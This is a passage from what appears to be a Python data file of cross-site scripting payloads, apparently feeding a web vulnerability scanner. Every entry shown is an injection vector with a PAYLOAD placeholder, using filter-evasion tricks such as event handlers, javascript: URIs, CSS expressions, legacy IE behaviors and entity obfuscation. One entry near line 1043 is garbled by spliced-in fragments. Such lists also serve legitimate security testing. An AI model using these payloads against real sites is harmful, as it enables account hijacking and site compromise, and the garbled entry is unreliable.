  957.         { 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:PAYLOAD;">X</a></a><a href="javascript:javascript:PAYLOAD">X</a>''',
    958. 

  958. 		  'browser':"""[Not Info]"""},
    959. 

  959.         { 'payload':'''<div style="list-style:url(http://foo.f)\20url(javascript:javascript:PAYLOAD);">X''',
    960. 

  960.     	  'browser':"""[Not Info]"""},
    961. 

  961.         { 'payload':'''<script>({set/**/$($){_/**/setter=$,_=javascript:PAYLOAD}}).$=eval</script>''',
    962. 

  962. 		  'browser':"""[Not Info]"""},
    963. 

  963.         { 'payload':'''<script>({0:#0=eval/#0#/#0#(javascript:PAYLOAD)})</script>''',
    964. 

  964. 		  'browser':"""[Not Info]"""},
    965. 

  965.         { 'payload':'''<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:PAYLOAD}),x</script>''',
    966. 

  966. 		  'browser':"""[Not Info]"""},
    967. 

  967.         { 'payload':'''<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:PAYLOAD')()</script>''',
    968. 

  968. 		  'browser':"""[Not Info]"""},
    969. 

  969.         { 'payload':'''X<x style=`behavior:url(#default#time2)` onbegin=`javascript:PAYLOAD` >''',
    970. 

  970. 		  'browser':"""[Not Info]"""},
    971. 

  971.         { 'payload':'''1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:PAYLOAD&gt;`>''',
    972. 

  972. 		  'browser':"""[Not Info]"""},
    973. 

  973.         { 'payload':'''1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:PAYLOAD&gt;>''',
    974. 

  974. 		  'browser':"""[Not Info]"""},
    975. 

  975.         { 'payload':'''1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:PAYLOAD strokecolor=white strokeweight=1000px from=0 to=1000 /></a>''',
    976. 

  976. 		  'browser':"""[Not Info]"""},
    977. 

  977.         { 'payload':'''<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:PAYLOAD">X</a>''',
    978. 

  978. 		  'browser':"""[Not Info]"""},
    979. 

  979.         { 'payload':'''<event-source src="%(event)s" onload="javascript:PAYLOAD">''',
    980. 

  980. 		  'browser':"""[Not Info]"""},
    981. 

  981.         { 'payload':'''<a href="javascript:javascript:PAYLOAD"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:X%0A%0A">''',
    982. 

  982. 		  'browser':"""[Not Info]"""},
    983. 

  983.         { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:PAYLOAD&gt;">''',
    984. 

  984. 		  'browser':"""[Not Info]"""},
    985. 

  985.         { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:PAYLOAD&gt;">''',
    986. 

  986. 		  'browser':"""[Not Info]"""},
    987. 

  987.         { 'payload':'''<IMG SRC="javascript:javascript:PAYLOAD;">''',
    988. 

  988. 		  'browser':"""[Not Info]"""},
    989. 

  989.         { 'payload':'''<IMG SRC=javascript:javascript:PAYLOAD>''',
    990. 

  990. 		  'browser':"""[Not Info]"""},
    991. 

  991.         { 'payload':'''<IMG SRC=`javascript:javascript:PAYLOAD`>''',
    992. 

  992. 		  'browser':"""[Not Info]"""},
    993. 

  993.         { 'payload':'''<FRAMESET><FRAME SRC="javascript:javascript:PAYLOAD;"></FRAMESET>''',
    994. 

  994. 		  'browser':"""[Not Info]"""},
    995. 

  995.         { 'payload':'''<BODY ONLOAD=javascript:javascript:PAYLOAD>''',
    996. 

  996. 		  'browser':"""[Not Info]"""},
    997. 

  997.         { 'payload':'''<IMG SRC="jav    ascript:javascript:PAYLOAD;">''',
    998. 

  998. 		  'browser':"""[Not Info]"""},
    999. 

  999.         { 'payload':'''<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:PAYLOAD>''',
    1000. 

  1000. 		  'browser':"""[Not Info]"""},
    1001. 

  1001.         { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:javascript:PAYLOAD;">''',
    1002. 

  1002. 		  'browser':"""[Not Info]"""},
    1003. 

  1003.         { 'payload':'''<IMG DYNSRC="javascript:javascript:PAYLOAD">''',
    1004. 

  1004. 		  'browser':"""[Not Info]"""},
    1005. 

  1005.         { 'payload':'''<IMG LOWSRC="javascript:javascript:PAYLOAD">''',
    1006. 

  1006. 		  'browser':"""[Not Info]"""},
    1007. 

  1007.         { 'payload':'''<BGSOUND SRC="javascript:javascript:PAYLOAD;">''',
    1008. 

  1008. 		  'browser':"""[Not Info]"""},
    1009. 

  1009.         { 'payload':'''<BR SIZE="&{javascript:PAYLOAD}">''',
    1010. 

  1010. 		  'browser':"""[Not Info]"""},
    1011. 

  1011.         { 'payload':'''<LINK REL="stylesheet" HREF="javascript:javascript:PAYLOAD;">''',
    1012. 

  1012. 		  'browser':"""[Not Info]"""},
    1013. 

  1013.         { 'payload':'''<STYLE>li {list-style-image: url("javascript:javascript:PAYLOAD");}</STYLE><UL><LI>X''',
    1014. 

  1014. 		  'browser':"""[Not Info]"""},
    1015. 

  1015.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:PAYLOAD;">''',
    1016. 

  1016. 		  'browser':"""[Not Info]"""},
    1017. 

  1017.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:PAYLOAD;">''',
    1018. 

  1018. 		  'browser':"""[Not Info]"""},
    1019. 

  1019.         { 'payload':'''<IFRAME SRC="javascript:javascript:PAYLOAD;"></IFRAME>''',
    1020. 

  1020. 		  'browser':"""[Not Info]"""},
    1021. 

  1021.         { 'payload':'''<TABLE BACKGROUND="javascript:javascript:PAYLOAD">''',
    1022. 

  1022. 		  'browser':"""[Not Info]"""},
    1023. 

  1023.         { 'payload':'''<TABLE><TD BACKGROUND="javascript:javascript:PAYLOAD">''',
    1024. 

  1024. 		  'browser':"""[Not Info]"""},
    1025. 

  1025.         { 'payload':'''<DIV STYLE="background-image: url(javascript:javascript:PAYLOAD)">''',
    1026. 

  1026. 		  'browser':"""[Not Info]"""},
    1027. 

  1027.         { 'payload':'''<DIV STYLE="width:expression(javascript:PAYLOAD);">''',
    1028. 

  1028. 		  'browser':"""[Not Info]"""},
    1029. 

  1029.         { 'payload':'''<IMG STYLE="x:expr/*X*/ession(javascript:PAYLOAD)">''',
    1030. 

  1030. 		  'browser':"""[Not Info]"""},
    1031. 

  1031.         { 'payload':'''<XSS STYLE="x:expression(javascript:PAYLOAD)">''',
    1032. 

  1032. 		  'browser':"""[Not Info]"""},
    1033. 

  1033.         { 'payload':'''<STYLE TYPE="text/javascript">javascript:PAYLOAD;</STYLE>''',
    1034. 

  1034. 		  'browser':"""[Not Info]"""},
    1035. 

  1035.         { 'payload':'''<STYLE>.XSS{background-image:url("javascript:javascript:PAYLOAD");}</STYLE><A CLASS=XSS></A>''',
    1036. 

  1036. 		  'browser':"""[Not Info]"""},
    1037. 

  1037.         { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:javascript:PAYLOAD")}</STYLE>''',
    1038. 

  1038. 		  'browser':"""[Not Info]"""},
    1039. 

  1039.         { 'payload':'''<BASE HREF="javascript:javascript:PAYLOAD;//">''',
    1040. 

  1040. 		  'browser':"""[Not Info]"""},
    1041. 

  1041. 		{ 'payload':"""<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:PAYLOAD></OBJECT>""",
    1042. 

  1042. 		  'browser':"""[O9.02]"""},
    1043. 

  1043. 		{ 'payload':'''<HTML xmlns:x><?import namespace="x" implementation="%(htc)s"><x:x>XSS</x:x></HTML>""","XML namespace."),("""<XML ID="x"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:PAYLOAD"&gt;</B></I></XML><SPAN DATASRC="#x" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>''',
    1044. 

  1044. 		  'browser':"""[Not Info]"""},
    1045. 

  1045.         { 'payload':'''<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:PAYLOAD&lt;/SCRIPT&gt;"></BODY></HTML>''',
    1046. 

  1046. 		  'browser':"""[Not Info]"""},
    1047. 

  1047.         { 'payload':'''<form id="test" /><button form="test" formaction="javascript:javascript:PAYLOAD">X''',
    1048. 

  1048. 		  'browser':"""[Not Info]"""},
    1049. 

  1049.         { 'payload':'''<body onscroll=javascript:PAYLOAD><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>''',
    1050. 

  1050. 		  'browser':"""[Not Info]"""},
    1051. 

  1051.         { 'payload':'''<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:PAYLOAD">''',
    1052. 

  1052. 		  'browser':"""[Not Info]"""},
    1053. 

  1053.         { 'payload':'''<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:PAYLOAD;');}</STYLE>''',
    1054. 

  1054. 		  'browser':"""[Not Info]"""},
    1055. 

  1055.         { 'payload':'''<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:PAYLOAD&&;&&<&&/script&&>''',
    1056. 

  1056. 		  'browser':"""[Not Info]"""},
    1057. 

  1057.         { 'payload':'''<SCRIPT onreadystatechange=javascript:javascript:PAYLOAD;></SCRIPT>''',
    1058. 

  1058. 		  'browser':"""[Not Info]"""},
    1059. 

  1059.         { 'payload':'''<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:PAYLOAD;</html:script></html:html>''',
    1060. 

  1060. 		  'browser':"""[Not Info]"""},
    1061. 

  1061.         { 'payload':'''<embed code=javascript:javascript:PAYLOAD></embed>''',
    1062. 

  1062. 		  'browser':"""[Not Info]"""},
    1063. 

  1063.         { 'payload':'''<frameset onload=javascript:javascript:PAYLOAD></frameset>''',
    1064. 

  1064. 		  'browser':"""[Not Info]"""},
    1065. 

  1065.         { 'payload':'''<object onerror=javascript:javascript:PAYLOAD>''',
    1066. 

  1066. 		  'browser':"""[Not Info]"""},
    1067. 

  1067.         { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:PAYLOAD;">]]</C><X></xml>''',
    1068. 

  1068. 		  'browser':"""[Not Info]"""},
    1069. 

  1069.         { 'payload':'''<IMG SRC=&{javascript:PAYLOAD;};>''',
    1070. 

  1070. 		  'browser':"""[Not Info]"""},
    1071. 

  1071.         { 'payload':'''<a href="jav&#65ascript:javascript:PAYLOAD">X</a>''',
    1072. 

  1072. 		  'browser':"""[Not Info]"""},
    1073. 

  1073.         { 'payload':'''<a href="jav&#97ascript:javascript:PAYLOAD">X</a>''',
    1074. 

  1074. 		  'browser':"""[Not Info]"""},
    1075. 

  1075.         { 'payload':'''<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:PAYLOAD&amp;gt;>">''',
    1076. 

  1076. 		  'browser':"""[Not Info]"""},
    1077. 

  1077.         { 'payload':'''<IMG SRC=JaVaScRiPt:PAYLOAD>''',
    1078. 

  1078. 		  'browser':"""[Not Info]"""},
    1079. 

  1079.         { 'payload':'''<a onmouseover="PAYLOAD">X</a>''',
    1080. 

  1080. 		  'browser':"""[Not Info]"""},
    1081. 

  1081.         { 'payload':'''<a onmouseover=PAYLOAD>X</a>''',
    1082. 

  1082. 		  'browser':"""[Not Info]"""},
    1083. 

  1083.         { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:PAYLOAD;">''',
    1084. 

  1084. 		  'browser':"""[Not Info]"""},
    1085. 

  1085.         { 'payload':'''<STYLE>@im\port'\ja\vasc\ript:PAYLOAD';</STYLE>''',
    1086. 

  1086. 		  'browser':"""[Not Info]"""},
    1087. 

  1087.         { 'payload':'''<STYLE>.X{background-image:url("javascript:PAYLOAD");}</STYLE><A CLASS=X></A>''',
    1088. 

  1088. 		  'browser':"""[Not Info]"""},
    1089. 

  1089.         { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:PAYLOAD")}</STYLE>''',
    1090. 

  1090. 		  'browser':"""[Not Info]"""},
    1091. 

  1091.         { 'payload':'''<XSS STYLE="xss:expression(PAYLOAD)">''',
    1092. 

  1092. 		  'browser':"""[Not Info]"""},
    1093. 

  1093.         { 'payload':'''<BASE HREF="javascript:PAYLOAD;//">''',
    1094. 

  1094. 		  'browser':"""[Not Info]"""},
    1095. 

  1095.         { 'payload':'''<img src=`%00`&NewLine; onerror=PAYLOAD&NewLine;''',
    1096. 

  1096. 		  'browser':"""[Not Info]"""},
    1097. 

  1097.         { 'payload':'''<iframe/src="data:text/html,<svg &#111;&#110;load=PAYLOAD>">''',
    1098. 

  1098. 		  'browser':"""[Not Info]"""},
    1099. 

  1099.         { 'payload':'''<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; PAYLOAD" http-equiv="refresh"/>''',
    1100. 

  1100. 		  'browser':"""[Not Info]"""},
    1101. 

  1101.         { 'payload':'''<a href="javascript:void(0)" onmouseover=&NewLine;javascript:PAYLOAD&NewLine;>X</a>''',
    1102. 

  1102. 		  'browser':"""[Not Info]"""},
    1103. 

  1103.         { 'payload':'''<marquee onstart='javascript:PAYLOAD&#x28;1&#x29;'>^__^''',
    1104. 

  1104. 		  'browser':"""[Not Info]"""},
    1105. 

  1105.         { 'payload':'''<iframe/%00/ src=javaSCRIPT&colon;PAYLOAD''',
    1106. 

  1106. 		  'browser':"""[Not Info]"""},
    1107. 

  1107.         { 'payload':'''<%<!--'%><script>PAYLOAD;</script -->''',
    1108. 

  1108. 		  'browser':"""[Not Info]"""},
    1109. 

  1109.         { 'payload':'''<script src="data:text/javascript,PAYLOAD"></script>''',
    1110. 

  1110. 		  'browser':"""[Not Info]"""},
    1111. 

  1111.         { 'payload':'''<iframe/onreadystatechange=PAYLOAD''',
    1112. 

  1112. 		  'browser':"""[Not Info]"""},
    1113. 

  1113.         { 'payload':'''<svg/onload=PAYLOAD''',
    1114. 

  1114. 		  'browser':"""[Not Info]"""},
    1115. 

  1115.         { 'payload':'''<input type="text" value=`` <div/onmouseover='PAYLOAD'>X</div>''',
    1116. 

  1116. 		  'browser':"""[Not Info]"""},
    1117. 

  1117.         { 'payload':'''http://www.<script>PAYLOAD</script .com''',
    1118. 

  1118. 		  'browser':"""[Not Info]"""},
    1119. 

  1119.         { 'payload':'''<svg><script ?>PAYLOAD''',
    1120. 

  1120. 		  'browser':"""[Not Info]"""},
    1121. 

  1121.         { 'payload':'''<img src=`xx:xx`onerror=PAYLOAD''',
    1122. 

  1122. 		  'browser':"""[Not Info]"""},
    1123. 

  1123.         { 'payload':'''<meta http-equiv="refresh" content="0;javascript&colon;PAYLOAD"/>''',
    1124. 

  1124. 		  'browser':"""[Not Info]"""},
    1125. 

  1125.         { 'payload':'''<script>+-+-1-+-+PAYLOAD</script>''',
    1126. 

  1126. 		  'browser':"""[Not Info]"""},
    1127. 

  1127.         { 'payload':'''<body/onload=&lt;!--&gt;&#10PAYLOAD>''',
    1128. 

  1128. 		  'browser':"""[Not Info]"""},
    1129. 

  1129.         { 'payload':'''<script itworksinallbrowsers>/*<script* */PAYLOAD</script''',
    1130. 

  1130. 		  'browser':"""[Not Info]"""},
    1131. 

  1131.         { 'payload':'''<img src ?itworksonchrome?\/onerror = PAYLOAD''',
    1132. 

  1132. 		  'browser':"""[Not Info]"""},
    1133. 

  1133.         { 'payload':'''<svg><script onlypossibleinopera:-)> PAYLOAD''',
    1134. 

  1134. 		  'browser':"""[Not Info]"""},
    1135. 

  1135.         { 'payload':'''<script x> PAYLOAD </script 1=2''',
    1136. 

  1136. 		  'browser':"""[Not Info]"""},
    1137. 

  1137.         { 'payload':'''<div/onmouseover='PAYLOAD'> style="x:">''',
    1138. 

  1138. 		  'browser':"""[Not Info]"""},
    1139. 

  1139.         { 'payload':'''<--`<img/src=` onerror=PAYLOAD> --!>''',
    1140. 

  1140. 		  'browser':"""[Not Info]"""},
    1141. 

  1141.         { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="PAYLOAD">x</button>''',
    1142. 

  1142. 		  'browser':"""[Not Info]"""},
    1143. 

  1143.         { 'payload':'''<form><button formaction=javascript&colon;PAYLOAD>X''',
    1144. 

  1144. 		  'browser':"""[Not Info]"""}
    1145. 

  1145. ]
    1146. 

  1146.